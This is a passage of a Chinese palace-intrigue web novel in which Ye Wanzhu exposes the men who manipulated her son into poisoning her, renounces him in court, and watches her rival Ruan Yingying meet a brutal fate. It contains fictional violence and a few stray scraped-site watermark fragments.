能让谢无咎三缄其口,是昭德帝那边出了什么问题? 张了张口,叶晚竹压下继续发问的冲动,转而将话题重新带回南疆二字上。 “宫中也出现了与南疆有关的东西,柔妃也是萧家人,我是不是能猜,有人在针对王府,构建什么阴谋?” 叶晚竹早就有此想法了。 萧子易和那神秘的黑衣人联络,阮莹莹拿了那嬷嬷给的毒药,再加上如今的柔妃和南疆邪术。 似乎每一个与萧家关系密切的人,背后都得过什么指点。 而这些人都做了什么? 除去柔妃,剩下的人都在和她作对! 叶晚竹忍不住冷笑出声,“这是谁活得不耐烦了?” 来设计她? 叶晚竹自认前后两辈子最大的敌人就是景平王府,她还真不知道,除了萧家人以外,还有谁这么恨她,费尽心思也要取她这条命。 况且还和皇宫,南疆这样遥远的词汇有关。 “九千岁可有头绪?”叶晚竹斜晲着若有所思的谢无咎。 带着东厂查了这么久,他也该有些收获才是。 “暂时还没有。” 谢无咎双手一摊,说得十分坦然。 “宫中一事,本督原本有怀疑的对象,可如今对方摆明要为难王妃,这却又让本督有些摸不着头脑了。” 他怀疑的那人,和景平王府,还有叶晚竹,可没有半点关系。 “是谁?” 第一百三十六章 我要让你吃牢饭! “安王世子。” 听着谢无咎的话,叶晚竹只是怔愣了一瞬,随即又并不感到有多意外。 毕竟京中与南疆有关的,也只有这位了。 安王虽然是昭德帝仅存的兄弟,可皇家的情分向来聊胜于无,孟希越想对昭德帝下手,着实不算什么稀罕事。 但若是他来挑拨景平王府,谋害叶晚竹,这就显得有点莫名其妙了。 叶晚竹忽然又想起了南疆使团送来的琉璃珍珠粉。 她事后派人打听,据说南疆使团的人选正是与安王世子有关。 难道这件事也是孟希越做的? 可他更没有这样做的理由。 怎么也想不通,叶晚竹不由得皱起了眉头。 “王妃可有什么怀疑的人选?” 话都说到这份儿上了,谢无咎也不再藏着什么,径直问道。 孟希越和安王一定都很小心,不管真凶是谁,这父子俩都没能让东厂查出什么端倪。 虽然如此,但盯梢也是东厂的强项,谢无咎有的是耐心,等他们露出马脚。 雁过留痕,只要是做过的事情,就不可能永远被深埋地下。 谢无咎只是想不通,这一切和叶晚竹有什么关系? 无论是安王还是孟希越,都和叶家从来没有半分来往。 叶晚竹回过神来,思忖片刻还是摇了摇头,“并没有。” 她会知道那南疆草药的事情,是因为前世的记忆,总不能和谢无咎说明。 看来此事她也要仔细查查。 想着,叶晚竹又抬起头,眼中冷光乍现。 “此人躲在暗处,频频对我下手,实在可恨,左右九千岁也要查,不如,我们一起?” 谢无咎查宫中,她就查宫外,不信翻不出这只幕后黑手! “等查到真相,还要请九千岁行个方便,让我亲手报这个仇!” 冷笑着,叶晚竹攥紧了盖在身上的薄被。 她不管这个人是谁,哪怕是安王世子,敢算计她,就要付出代价! 谢无咎闻言扬了扬眉。 “若真是那样,王妃,事态或许会很危险。” 对昭德帝下手,下一步除了造反,还能是什么? 叶晚竹勾起嘴角,“九千岁难道怕了?这可不像是你的作风啊。” 堂堂东厂都督,手下亡魂无数,如今竟然担心有危险? 谢无咎又笑了笑,不知道是不是叶晚竹眼花,她似乎在这位脸上看到一丝疲惫。 “是啊,”谢无咎又一摊手,“怕本督死了,让王妃伤心,那可就罪过大了。” 一边说着话,谢无咎的一双眼睛死死定在叶晚竹面上。 叶晚竹眨了眨眼。 “所以,九千岁可千万别死。” 谢无咎低低笑了起来,声音有些沙哑,“本督……尽量!” —— 天将拂晓,叶晚竹几乎一夜没睡,却还是睁开了眼睛,看着窗外泛白的光。 送走谢无咎已是三更,想着他透露出来的信息,叶晚竹怎么可能有睡意。 安王世子,南疆,还有自己身边发生的种种。 叶晚竹越想越觉得这里面的阴谋层出不穷。 可她却感到了久违的兴奋。 萧子景等人都是手下败将,叶晚竹早已经斗得百无聊赖。 如今倒是有了个新对手! 自从开始调理身体,叶晚竹越发无聊,感到脑子都快不会转了,眼下精神奕奕地思索着近日发生的一切,眼中渐渐恢复了光彩。 不知过去多久,她的思绪才被院中隐隐传来的混乱声打断。 “放开我!你放开我!” “我就不放开,你——你是狗吗?” “滚开,你这个该死的野种!” “我要是野种,你就是野狗!” “……” 后院当中,小花正和萧延纠缠在一起。 昨天晚上事情太多,叶晚竹暂时顾不上萧延和阮莹莹这两个蠢蛋,将二人分别关在后院空置的屋子里,后来竟然忘了个一干二净。 萧延在柴房里听着前面传来的惨叫声,又惊又怕,迷迷糊糊地睡了一晚,终于忍不住从没锁的窗户里翻了出来。 这个地方太可怕了,他要逃跑! 娘亲已经彻底疯了,和九千岁搅合在一起,他要去报告父王,让父王给他做主! 因着昨天那一通折腾,潇湘院的早上十分安静,正是方便行动! 可萧延万万没想到,他还没走出几步,便被小花不知道从什么地方扑出来,一把按倒在地! 这个下贱的野种,怎么哪儿都有她? 又骂又打,两人滚成一团,直到叶晚竹出声才将人拉开。 “娘亲!他要逃跑!” 小花抓了一把被扯得松散的马尾,叉着腰在萧延屁股上狠狠踢了一脚! 论打架,萧延本来就不是她的对手,这段时间,两人又一个好吃好喝,一个白菜豆腐,区别更加明显。 小花只滚了一身的土,萧延便狼狈多了。 更别说,书画赶来将小花护在身后,萧延则是被隐风捏着脖子,动作僵硬地站着。 看着两人这大天差地别的待遇,还有叶晚竹低声关心小花,却对自己不闻不问的模样,萧延感到胸口又被堵上了一块大石头。 “贱人!你们都是贱人,不得好死!”他嘴一张,难听的话又自动迸了出来。 小花要跳起来扇他耳光,却被叶晚竹按住了。 “说出你的真心话来了?” 上下扫了一眼灰头土脸的萧延,叶晚竹开口时声音还是哑的。 “你要是一直这么言行合一,说不定能少挨点打。” 昨天太忙,叶晚竹直到现在才有空闲想想萧延干的好事。 他亲手将阮莹莹拿来的毒药换掉了从医馆送来的药材。 “亲自动手杀一个人,延儿,你感觉如何啊?”叶晚竹垂下目光,看着萧延梗着脖子,一脸不服气的模样。 萧延仍是横眉竖目。 “你不是没死吗?你怎么不死呢?” 昨晚的惊恐已经过去,萧延这会儿双眼赤红,只恨不得叶晚竹现在就死在自己面前! “贱人,你不配当我娘亲,这天下,没有一个知书达理的女人会做出你这样丧尽天良的事情!” 萧延不断挣扎着,抵不过隐风的力气,又被叶晚竹冷冰冰的目光看着,越发恼羞成怒。 “你打我啊,你打我啊!我要让李先生将你告到公堂上,让你吃牢饭!” “谁是李先生?” 第一百三十七章 自食恶果,对簿公堂 捕捉到一个陌生的名字,叶晚竹顿时眯了眯眼。!伍¨4?墈/书′ *首\发? 萧延这才反应过来,立刻露出了一脸心虚的表情。 叶晚竹看在眼中,心里忽然有了些猜测。 “李先生就是书院的先生!” 大概是已经说漏了嘴,萧延索性破罐子破摔,看着叶晚竹的时候,一脸愤恨更甚先前。 “李先生说了,他从来没有见过你这么脏心烂肺的女人,你有什么下场都是自找的!都是报应!你以后肯定没人养老送终,只能死在大街上,尸体被老鼠吃掉!” “呸呸呸!闭嘴!” 小花听不下去了,“什么狗屁先生!满嘴喷粪!” 隐风也默默加重了手上的力气,扼得萧延呼吸急促,再也发不出一点儿声音。 这种不着四六的话,说了还不如不说! 叶晚竹抱起胳膊,看着萧延的目光里写着了然。 显而易见,这个李先生,也是幕后黑手安插在萧延身边的一环。 “你和这个李先生厮混多久了?话说得一套一套的。”她挑了挑眉。 隐风闻言松开一分力气,萧延大口喘息着,一时间还发不出声音,只能越发瞪大双眼,神情极为刻毒。 “看你这模样,已经迫不及待要和我对簿公堂了,是不是啊延儿?” 叶晚竹却微笑起来,伸手拍了拍萧延的脸。·3!0-1^b+o′o+k`..c!o-m* “好啊,那延儿就去见识见识吧。” “书画,你这就去安排,带上阮姨娘,咱们尽快出发!” 直起身子,叶晚竹目光收敛,轻蔑地从萧延身上扫过,旋即转身离开,脚步不曾有半分停留。 等进到屋中,叶晚竹又朝小花招了招手。 “去让狗蛋他们找人,把我和萧延要对簿公堂的消息散播出去。”她低声道。 小花来到叶晚竹身边,她手下那一群小弟小妹的生活也跟着起了变化。 这些都是无父无母的孤儿,没人看管才只能当小乞丐,叶晚竹买下了小花原先的那个家,让狗蛋她们继续住在里面,平日去帮几个铺子做些杂活,拿工钱过日子,还给他们请了教书先生。 虽然学习对他们来说仍是一件十分困难的事情,但狗蛋一行如今已经基本脱离了小乞丐的模样。 不过,像今天这样的事情,还是要交给他们一回。 小花闻言歪了歪头,神情激动,却又有些不解。 “娘亲,您这是要做什么?” 真的要和萧延上公堂说话吗? 那些官老爷不会对娘亲不利吧? 看着小花警惕的眼神,叶晚竹又笑了起来。 “放心,娘亲很快就让萧延知道,什么叫自食恶果!” 一个时辰之后,赶着官员到岗的功夫,景平王府的马车也停在了大理寺门前。/山?芭·看^书\罔_ _埂′鑫~罪?全- 这些天不用去宫里早朝,大理寺卿从自己府上前来,一路已经听见了不少闲言碎语。 等真看见叶晚竹走进公堂,卢大人的嘴角忍不住抽了抽。 他虽然是第一次与景平王妃见面,但有陈夫人整日在自己耳边念叨,卢大人对眼前这位已经非常熟悉了。 所以,这景平王妃今日前来,真是要和自己的亲儿子打官司? 定了定神,看着已经在屋中站定的一行人,卢大人开始按照惯例问话。 叶晚竹一把将萧延推到了公堂正中央。 “此子昨天晚上亲手将剧毒投进我的汤药之中,险些要了我的命,还请卢大人拿个主意,该怎么判?” 叶晚竹一开口,站在外面看热闹的人群便齐齐响起了哗然之声! 投毒啊! 卢大人则是眼前一黑! “我没有,我没有!” 萧延急得手足无措,“我什么都没干!” 从嘴快的那一刻开始,萧延就在后悔了。 被抓了个正着,他才不想现在就来公堂! 可惜,无论怎么挣扎尖叫,他还是被一路拎到了这里。 现在他该怎么办? 除了否认,萧延什么办法都想不出来。 “这是公堂,你若撒谎,可是要被抓去动大刑的。”叶晚竹冷声在一旁道。 萧延闻言立刻又是一阵哆嗦。 “姐姐……” 阮莹莹这时候看准机会开了口。 “家丑不可外扬,姐姐这般做,将王府的名声置于何地?再说了,延儿还小,有什么事,不能在家里好好地说呢?” 她的声音不住地哆嗦着,往日信手拈来的温婉模样,眼下也显得有些生疏。 已经被昨天晚上发生的那一幕幕吓破了胆子,阮莹莹却还得强撑着,心里其实已经有些绝望了。 叶晚竹将她也抓到大理寺是想干什么,阮莹莹用脚后跟都能想 到! 她不要背上谋杀王妃的罪名! “姐姐!” 阮莹莹抬起头,眼中水光潋滟。 “若不是你太过偏爱小花,延儿也不会如此失了理智……” 她欲言又止,叶晚竹冷笑一声。 “这就是他想对我痛下杀手的理由?” 这话怎么都不能接,阮莹莹哽了一下,无措地闭上了嘴。 “我看这事儿也不是没有缘由的吧!” 就在这时,一个粗犷的声音从旁观的人群中传了出来。 众人纷纷回首,很快将一个五大三粗的黑脸汉子推到了最前面。 他也不客气,袖子一撸就又大声道,“景平王妃分明有儿子却硬是收养了一个姓叶的女儿,还为了她把景平王和小世子都打了,这事儿大伙儿也都有耳闻,是不是?” “要我说,这天下哪有这样的道理,放着亲生儿子不管不顾,天天把一个收养的捧在手里当香饽饽?要是我,我也心里不满啊!” “王妃,小世子的手段是激烈了点,可说到底,还不是你做了对不起小世子的事情在先吗?你要是对他好,他怎么可能怨你呢?” 这黑脸汉子双手叉腰,状若义正词严地说着话,教训叶晚竹的意味越来越浓。 周遭有看热闹的人开始附和,书画见状气得胸膛起伏。 “别胡说!你知道什么!” 萧延做过的事情早已经伤透了王妃的心,就算说对不起谁,也是萧延有错在先! 黑脸汉子的嗓门却更亮了。 “我知道生了就要养!而且要养好,不然,就不配当一个母亲!” “你说的很好。” 沉默了半晌的叶晚竹终于开口了。 “这位大哥的话真是说到我心里去了,我不配给萧小世子当娘,今日,我就是来断绝和萧延的母子关系的!” 第一百三十八章 景平王妃的真实目的 拍着巴掌冷笑出声,叶晚竹紧紧盯着那个黑脸大汉。·k~u·a¢i¢d!u¨x·s?..c·o^m+ “这位大哥,本王妃看你面生得很,应该和我们景平王府没有什么关系吧?不知你怎么对王府里的事情,知道得这么清楚啊?” 黑脸大汉的表情闻言变了变。 “我,我也是听别人说来的!”他很快又瞪起眼睛,“王妃若是害怕被人议论,那就别做出这种十恶不赦的事情来!” “你说谁十恶不赦呢!” 小花叉着腰看了过去。 “萧延给人下毒是情有可原,王妃依法办事,倒是成了十恶不赦?你是哪儿来的傻子?没听见王妃的嗓子都被毒成这个样子了吗?” 简直是满嘴歪理! 看热闹的人群又响起另一阵窃窃私语。 景平王妃的嗓子的确哑得过分,脸色看上去也不太好。 况且人家王妃说得好像也没什么错,再怎么折腾,也不能下毒啊! 议论纷纷声中,黑脸汉子斜晲着小花,眼神中的轻蔑几乎快要控制不住。 “这儿没你说话的份儿!” “那就更没有你说话的份儿了。” 叶晚竹抱着双臂冷道,“你是姓萧还是姓叶?本王妃和王府的事情,让你多嘴多舌了吗?” “我是仗义执言!”黑脸汉子的脸好像都气红了几分,“就看不惯你这种偏心的娘!” 叶晚竹挑起眉头,“我看你不是想要公正,是觉得本王妃的心没和你偏到一头去吧?” 黑脸汉子的表情立刻便是一滞,眼神也有些飘忽。~e~z?k/s,w·.?n~e^t* “来,延儿!” 叶晚竹这时候一把抓住萧延的领子,迫使他转过身来,正面和那黑脸汉子对上。 “李先生应该不是这种形象吧?”她轻声细语地靠在萧延耳边,“告诉我,这又是你在哪儿认识的狐朋狗友?” 萧延浑身僵硬,好像一块被遗忘在地窖里整个冬天的冰。 “我,我不认识他……” 他颤抖着声音开了口,却任谁都能听出语气中的心虚。 更别说萧延对上那黑脸汉子的时候,无比躲闪的眼神了。 就连打定主意要来一手清官难断家务事的卢大人都忍不住皱了皱眉。 一个小孩,都学会给自己造势了? “进去!” “你,你是什么人,你要干什么?” 就在这时,人群之后传来一阵骚动。 听着这对话的声音,公堂内外有两个人同时绷紧了身子—— 那黑脸汉子表情一变,正要随着后退的混乱人群离开,却被一只铁钳一样的手一把捏住了脖颈。/叁·叶_屋¨ ,罪,辛`璋.结*庚*欣!哙` 萧延则是瞪大双眼,目瞪口呆地看着隐川将李先生推推搡搡着往堂前而来。 李先生衣冠不整,神情惊惶,奋力挣扎着,却在隐川的动作下毫无还手之力。 被一把推到萧延身边,二人飞快地对了对视线。 “李先生,久仰大名。” 斜晲着两人的小动作,叶晚竹嗤笑一声道。 “不敢,你是何人?” 佯装无事发生的李先生收回目光,先狠狠剜了隐川一眼,又直起身子,整理了几下衣襟才对着叶晚竹开口。 他一脸陌生,仿佛当真不认识她一般。 “李先生教唆萧延谋害本王妃,应该不至于这么快就忘了吧?” 叶晚竹仍是轻言细语,李先生听了这话却立刻跳了脚! “这,这叫什么话!我什么时候做过这样的事情!” 环顾四周,似乎是委屈至极,李先生猛地上前两步,朝着上方的卢大人一拱手。 “大人!”他的语气一瞬间就哽咽起来,“您可要给草民做主啊!草民刚才正好好地在书院备课,景平王妃的这个侍卫忽然就闯了进来,抓了草民就走,简直岂有此理!” “就算是大人要传唤草民问话,也轮不到王府的人动手吧!” 叶晚竹就静静地看着他的表演。 “李先生前一句话刚说了,不认识本王妃,怎么立刻又认识本王妃的侍卫了?”她带着嘲讽问道。 李先生一哽,又立刻挺直腰杆。 “在下会思考!” “我看你是漏洞百出!” 人已经到齐,叶晚竹没了再说废话的心思,接过书画递上的金杖,猛地抽上了萧延的屁股! “我耐心有限,说吧,到底怎么回事!” 熟悉的,火辣辣的疼痛再次袭来,这一次还是在众目睽睽之下,萧延捂着屁股涨红了脸,泪水瞬间就开始在眼眶里打转。 当着这么多人的面儿被打,他的面子要往哪里搁? 可等叶晚竹的杖子不间断地落下,萧延再也想不起自己的面子了。 他 哇哇大哭起来,一边抽噎,一边将和李先生,还有黑脸大汉蒋三的交往都说了出来。 听着那李先生让萧延去御前告景平王妃的状,卢大人狠狠一拍惊堂木,“岂有此理!” 萧延或许不明白,那时他若是成功了,别说景平王妃,恐怕整个王府都要跟着遭殃! 在给南疆使团接风的宴席上搞事! 这是狗胆包天! 卢大人怒瞪着李先生,心里却正在飞快地冷静下来。 这已经不是什么王府家事了,这个劳什子的李先生,分明是看萧延年幼无知,拿他当筏子图谋不轨! 一个书院的普通先生,能想到,且有胆子搅乱宫宴,还利用圣上? 卢大人的表情越发冷峻。 “把此人拿了,押进天牢!” 这事儿不一般! 难道这才是景平王妃的目的? 卢大人一愣,本能地看向叶晚竹,便对上了一双带着深意的眼睛。 叶晚竹几不可察地朝他点了点头。 不知道这个幕后黑手是谁,但看着自己的手下一个两个地被抓出来,叶晚竹不信他能无动于衷。 急吧,越急越好! 最好急中出错,让她抓到什么线索! “还不动手!” 打了个哆嗦才回过神来,看着还站在一旁发愣的大理寺官差们,卢大人的语气又严厉了两分。 官差们这才上前,将李先生和蒋三一把压住,往公堂之后运送而去。 心里想着大事,再看景平王府的家务事,卢大人就有些耐不住性子了。 看着叶晚竹,他直抒胸臆。 “王妃打算如何处理此事?” 第一百三十九章 见见你的新娘亲! “我要和萧延断绝母子关系。′i·7^b-o_o^k/.*c.o\m′” 比起刚才,公堂上这会儿已经安静了不少,叶晚竹沙哑的声音也能让人听得更加明显。 “萧延从来没有将我当做他的娘亲,从前言语不敬,行为不端,看在他年龄尚小的份儿上,本王妃都能忍下,可他竟敢下毒杀人,本王妃绝不容许!” 一连说了太多话,叶晚竹忍不住皱了皱眉,感到嗓子里好像有火在烧。 “这……” 卢大人面露难色。 “景平王妃,再怎么说,萧延也是你亲生的儿子……” 断绝关系,说出去是不是有点太难听了? “他都能给亲生的娘亲下毒,我只是断绝关系而已。” 叶晚竹说着话,又摸了摸自己的脖子。 “或许有的母亲愿意原谅,但我是绝对不会原谅一个杀人凶手的。” 她没有这么好心! 萧延哆哆嗦嗦地站在一旁听了半晌,终于又忍不住了。 “我不知道那是毒药!”他听着委屈得活像被下毒的那个,“是阮姨娘!她和我说那是泻药,只是让人拉肚子而已!” 给人下药让拉肚子,还只是而已? 不用叶晚竹再多说什么,公堂内外的人看着萧延的表情都变得微妙起来。 连这种话都说得出口! 看来,这小世子真是不学好! “既然你这么相信阮姨娘,她说什么你都照办,那你让她给你当娘亲就好了。/x/i¢a?o~s+h\u~o~g+u,a\i`.`c′o′m!” 叶晚竹耸了耸肩,语气平静。 “反正你一直都是这么想的,是吧延儿?” 萧延呆若木鸡地站在公堂之上,一时间不知道该说什么好。 “这样一来,既有人管你,咱们俩也不用两看两相厌。”叶晚竹的笑容透着释然,“岂不是两全其美?” 过了明路,日后,萧延就和她彻底没有任何关系了! “我,我不要,我不要!” 萧延用力地摇着头,自己也不知道在拒绝什么,总之是感到了强烈的无法接受! “我不要!你不能这么做!”他急促地呼吸着,一双眼睛惊恐地望着叶晚竹。 “娘——” 叶晚竹却从怀中摸出一张叠得整整齐齐的纸。 “这是过继书。” 侧身躲开萧延张着双手求抱的动作,叶晚竹平静地捉住了他的手腕。 “按了手印,你就再也不是我的儿子了。” 叶晚竹早有准备,已经提前按下了自己的手印,这会儿看着不断挣扎,哭得眼泪鼻涕混成一团的萧延,她内心毫无波澜,甚至有些想笑。 这是在表演什么母子情深? 会不会太晚了一点儿? “王妃,给!” 书画端着印泥上前,叶晚竹手上又一用力,按着萧延的手指沾满鲜红,而后猛地压在过继书上! “不要,不要不要——” 萧延哭得撕心裂肺也无济于事,等被放开,他立刻伸长胳膊,跳起来要去抢叶晚竹手中的过继书,却依旧是失败的。+微¢趣`小¨税?枉¨ \追,最*歆+蟑¨結+ “阮姨娘?”叶晚竹径直转过身子看向阮莹莹,“该你了。” 阮莹莹的神情已经写满怔愣与疲惫,让她看起来再不复从前的温婉动人,好像一瞬之间就老了好几岁。 每一个。 每一个针对叶晚竹的计划都失败了。 她忙活了这么长时间,连性命都差点儿送掉,却连一根毫毛都没伤到叶晚竹! ——或许是有的,但比起自己眼下的下场,简直可以忽略不计! 被打被骂,当众丢人,最关键的,还是失去了萧子景的宠爱! 想着这段时间以来发生的种种,阮莹莹越发心灰意冷,就连叶晚竹拉着她的手指画押,阮莹莹也没有反应,任由她动作。 不就是多了个名分吗? 萧延成天住在春风居,这点名分有和没有,能有多少分别? “卢大人,我看此事就这么了结吧,可以吗?” 举着两个手印还没干透的过继书,叶晚竹笑吟吟地朝卢大人看了过去。 卢大人的心思本就还在李先生和蒋三身上,闻言也忍不住嘴角哆嗦着。 别的不说,就这件事,有他说话的余地吗? 景平王妃这是早就计划好一切了吧! 腹诽着,卢大人还是说了几句场面话,便将惊堂木一拍,匆匆散了堂。 这里显然不需要他,他还是赶紧换个地方为好! 人群散去,只剩下王府众人,叶晚竹笑眯眯地将一式三份的过继书分别发给萧延和阮莹莹。 “怎么都哭丧着脸?”她来回看着两人的表情,“笑啊,这可是大好事,对不对? ” 见两人是还是没有动作,叶晚竹上前一步,将过继书塞进萧延怀里,又推着他来到阮莹莹面前。 “来,见见你的新娘亲,叫娘!” 萧延的脸已经涨成了一种紫红色,喉头也仿佛被什么堵住了,大张着嘴却发不出任何声音,只能急促地喘息着。 “叫啊,怎么不叫?” 叶晚竹又拍着他的脸蛋,“你不叫,你以后的娘亲可是会伤心的。” “她不是我娘!她才不是我娘!” 似乎是忍到了极点,萧延忽然嗷地一嗓子尖叫出声,疯了一样蹦跳着,眼泪也随着他的动作四下飞溅。 “你也不是我娘!”他双眼赤红,恶狠狠地瞪着叶晚竹,“我不要娘了!我没娘最好!我娘死了!” 叶晚竹的语气依旧平静得掀不起一丝波澜。 “随便你啊。” 她是死是活,难道是萧延上下嘴皮子一碰就能决定的事情吗? 再说……她现在已经不是他娘了好不好。 “妹妹,早点带着你儿子回王府吧。” 丢下一句话,叶晚竹轻飘飘地带着书画等人转身离开。 她们这一走,屋中便只剩下了阮莹莹和萧延两个人。 大理寺的官差现了身,客气但强硬地将两人赶了出去。 站在通往大街的石阶上,外面只剩了一辆景平王府的马车,叶晚竹不见了踪影。 阮莹莹咬着嘴唇看向萧延。 “延儿,咱们还是先回去再——” “滚开!” 阮莹莹正要搭上萧延的肩膀,却被他猛地一把扭开,同时恶声恶气地吼了起来。 “我才不跟你走!” 都是因为她,才害得事情变成这样的! “延儿!别闹了!” 蹙着眉头,阮莹莹的语气也不好起来,“有什么话,回去再说!” 萧延还以为自己是个香饽饽,她稀罕管他不成? 还不是因为他丢人? 阮莹莹又伸出手去抓萧延,不料萧延又一次闪身躲避,见阮莹莹不放弃,索性狠狠一口咬上了她的胳膊! “咝!” 阮莹莹猛地缩回手,眸光又骤然紧缩。 “延儿!回来!” 1 第一百四十章 给你一个小小的教训 趁着阮莹莹检查伤口的时候,萧延猛跑两步冲上大街,又很快拐进一条小巷,瞬间就消失在阮莹莹面前。 “延儿!你给我回来!” 阮莹莹跺了跺脚,一边大喊一边追了过去。 车夫见状也连忙跟着动作,两人一前一后跑到巷子里,一看却傻了眼。 细长的小巷里空空荡荡,空无一人,哪儿还有萧延的半点踪影? 车夫的腿已经开始打起了哆嗦,战战兢兢地朝阮莹莹看去。 “阮姨娘,这,这下可如何是好啊?” 他们把王府小世子给弄丢了! “别急。” 阮莹莹做了个深呼吸,似乎正在强迫自己冷静下来。 “延儿肯定跑不远,说不定在什么地方躲着呢,你解了马,赶快去找王爷,让他调了王府的手下过来,我先在这附近找找。” 车夫这才想起萧子景本尊,忙不迭地点着头,心里却有些打鼓。 王爷都不知道胡天海地多久了,他能找着人吗? 找不到也要找,车夫小跑着去解开马车,一溜烟骑着马跑远了。 阮莹莹呼喊延儿的声音也随着他的离开而消减下去。 确定车夫已经走了,附近也没有行人,阮莹莹冷笑一声,转头抄了条近路便往更热闹的大街方向走去。 她早就受够萧延了,又蠢又笨,心思还恶毒的很。 要不是她没有自己的孩子,何至于用这么个东西来傍身? 结果却也没有拢住萧子景的心,还给她添了这么多麻烦! 越想越是不忿,阮莹莹脚下的步伐也加快了几分,很快找到一辆空闲的马车坐了上去。 这可是萧延自己要跑的,她抓不住,也不想费这个力气! 反正这个倒霉孩子也不会领她的情,阮莹莹发狠地想着,萧延今天能活就活,活不了,或者出了什么事,那就是他的命! 萧子景和叶晚竹这对亲生爹娘都不管,凭什么把萧延推给她? 她也不干了! “这位夫人,咱们去哪儿啊?” 马车外,车夫不好意思的问话声响起,阮莹莹这才回过神,惊觉自己刚才并没有说目的地。 “你就拉着我在京城各处转转吧。” 思忖片刻,阮莹莹下了决定。 万一让萧子景或者王府的人看见她没找萧延,独自偷懒就不好了,还是坐在马车里安全一些。 “好嘞!” 阮莹莹随手给的车费丰厚,车夫吆喝了一声,任劳任怨地驾着马车,在京中不快不慢地转悠起来。 许是以为阮莹莹是初到京城的游客,车夫沿着几条热闹的大街一路缓行。 阮莹莹将窗户拉开一条小缝,看着阳光明媚的京城大道,一时间恍如隔世。 她已经记不清自己有多长时间没有离开景平王府了。 反复受伤再休养,饶是铁打的人也扛不住,更别说阮莹莹的身子也算不上多好。 被拉到大理寺折腾了一番,又假装找了一会儿萧延,已经用尽了阮莹莹所有的力气。 这会儿靠着窗户,面对灿烂的阳光,她不知不觉就闭上双眼,陷入了沉睡之中。 —— 再睁开眼,阮莹莹是被一个耳光叫醒的。 “哟,醒了?” “你们是什么人!” 看着眼前陌生的环境,还有四五个身穿黑衣,虎视眈眈将自己包围起来的男人,阮莹莹顾不上火辣辣疼着的脸,先惊声尖叫起来。 “我们是什么人?” 对方好像听见了什么笑话一样,几个人互相对视一眼,齐齐放声大笑。 “你惹了什么人,自己心里没点数吗?” 这些人是叶晚竹找来的? 阮莹莹的心立刻凉了半截,随后又升起了无穷无尽的愤怒。 叶晚竹这个贱人! 她都给她养儿子了,还要怎么样! 况且,上次用过的招数,怎么又要来一遍! “她给了你们多少钱?我出双倍!” 咬着牙,阮莹莹开出了条件。 要是能买通这些人,正好萧子景要回府,说不定,她还能扳回一局! 汉子们的笑声却比刚才还要嚣张。 “阮姨娘,你怎么这么天真啊?天真得都蠢了!” 方才说话的汉子清了清嗓子,俯身朝着阮莹莹压下来,阮莹莹脸色发白,手脚并用地往后躲着。 然后她的后背便撞上了一堵结结实实的墙。 “跑?你能跑到哪儿去?” 那汉子一把掐住阮莹莹的脖颈,不顾她任何尖叫挣扎的动作,强行又将她拎回了原地。 “你也不想想,我们是那种见钱眼开的人吗?主家给的任务,也是你随便拿几个银子就能收买的?” 又一个大汉走上前来,用手背粗鲁地在阮莹莹脸上拍了拍。 “好了,小美人儿,”他阴森森地笑了一下,“该为你自己的行为付出代价了。” 阮莹莹心下慌乱,在听到这句话的时候猛地达到了一个高潮。 “你们要干什么——” 几个大汉一起围拢上来,阮莹莹放声尖叫,却无济于事,被按着脑袋贴在地上动弹不得。 “叶晚竹让你们这么做,景平王知道了,是不会放过你们的!”阮莹莹继续拼命挣扎害着,“她身份高贵,你们不过是几条野狗,景平王一定会宰了你们这群畜生的!” 用尽全身力气嘶吼,阮莹莹心里却有个声音不住地疑惑起来。 这些汉子到底要干什么? 手脚被死死按住,脑袋也不能移动,阮莹莹除了几道呼吸声,什么都听不见。 对方没有任何动作,似乎一瞬间被静止了一般。 阮莹莹心跳飞快,被这样无尽的防备和等待逼得快要发疯。 要杀要剐,能不能给她一个痛快? “你们——啊!” 实在是再也忍不住了,阮莹莹刚张口发声,剧痛毫无征兆地从指尖传来! 砰地一声巨响,阮莹莹被桎梏的双手同时绷紧,十根指头被两个大汉用石头砸成了一摊血肉模糊! 她凄厉地惨叫着,还没等想明白发生了什么,头皮又被某种冰凉冷硬的东西贴住了。 倒吸一口冷气,阮莹莹的意识开始变得模糊,却还是能感到有人正在剃她的头发! “给你一个小小的教训,”那大汉的声音如附骨之疽,“不要惹不该惹的人。” 第一百四十一章 王爷说,阿竹!看看我! “叶晚竹!” 刚一下马车,叶晚竹便听见了自己的名字。 萧子景一身酒气冲天,摇摇晃晃地从王府里走了出来,看着叶晚竹的时候,目光都是涣散的。 “你——嗝,你对延儿做了什么?”他迷迷糊糊地质问着,听不出半点威慑力。 叶晚竹脚下顿了顿。 到底是亲生的儿子,王府多少大事小情都没能把萧子景从那烟花之地请回来,还是萧延在他心里有份量。 “你把延儿藏到什么地方去了?” 等听见萧子景的下一句话,叶晚竹忍不住抽了抽嘴角。 看来还是没醒。 “王爷醉了,夏至呢,快送王爷回去休息。” 嘴上说着找人,叶晚竹的态度却轻飘飘的,就算夏至不在院中也无所谓。 她本来就不想和萧子景多说什么,如今他还是一个烂醉如泥的酒鬼,便更是让叶晚竹没有停留的心思。 夏至的确不在,冬生额头上冒着冷汗,小步朝这边挪了过来。 如今冬生虽然还在默言阁伺候,但地位早已经一落千丈,人也越发瑟缩起来。 “王妃……”他小声道,“您离开大理寺之后,小世子不肯听阮姨娘的话,自己跑了,这会儿还没回来呢……” 萧延跑了? 叶晚竹抬头看了看,暮色四合,黑夜就快要降临了。 好不容易才出门一趟,叶晚竹索性便去几家铺子里看了看最近的经营情况,这一忙就是整整一天。 都这个时候了,萧延还没找到? “王妃,您看这……”冬生笑得越发讨好。 今天发生在公堂之上的事情已经传遍了京城,冬生这会儿看着王妃都小心翼翼的。 “我就不看了,你们自己看着办吧。” 触到冬生眼中的讨好,叶晚竹却丝毫不为所动。 萧延的事情,以后和她再也没有任何关系! “小花,书画,我们回去了。” 正招呼着身边人往潇湘院去,叶晚竹忽然感到眼前一暗,紧接着浓重的酒气扑面而来,还带着一股浓郁的脂粉香。 这味道让叶晚竹立刻屏住呼吸后退。 “阿竹……” 听着久远的称呼从萧子景口中道出,不仅是叶晚竹,就连书画都错愕地瞪大了双眼。 她的耳朵没问题吧? 王爷自打去了战场,就没再这么叫过王妃了! 这是忽然在发什么疯呢? 萧子景眼眶通红,泪眼婆娑地望着叶晚竹,表情好不可怜。 “阿竹,我、嗝……我知道你怨我,你怪我,我从战场带回莹莹后冷落了你,又对你误会良多,都是我的不是!” 他哽咽着又开了口,身子也在叶晚竹面前蜷缩下来,像一只无家可归的大狗。 “我已经知道错了,阿竹,我不是人,但我还是想求求你,能不能给我一个改过自新的机会?” 